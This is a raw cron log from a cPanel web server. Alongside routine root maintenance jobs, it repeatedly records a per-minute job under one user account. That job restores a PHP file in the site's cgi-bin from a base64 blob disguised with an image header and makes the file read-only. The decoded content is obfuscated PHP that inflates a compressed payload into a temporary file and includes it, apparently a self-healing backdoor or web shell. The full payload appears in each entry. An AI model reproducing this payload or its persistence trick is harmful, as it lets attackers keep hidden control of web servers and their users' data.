Nov  9 06:31:01 server CROND[22671]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 06:32:01 server CROND[23493]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 06:33:01 server CROND[24428]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 06:34:01 server CROND[24975]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 06:35:01 server CROND[25768]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 06:35:01 server CROND[25769]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 06:35:01 server CROND[25773]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov  9 06:35:01 server CROND[25775]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov  9 06:35:01 server CROND[25776]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 06:36:01 server CROND[26647]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 06:37:01 server CROND[27686]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 06:38:01 server CROND[28588]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 06:39:01 server CROND[29404]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov  9 06:39:01 server CROND[29405]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 06:40:01 server CROND[30262]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 06:40:01 server CROND[30263]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 06:40:01 server CROND[30264]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 06:40:01 server CROND[30266]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 06:41:01 server CROND[31154]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 06:42:01 server CROND[32161]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov  9 06:42:01 server CROND[32162]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 06:43:01 server CROND[32682]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
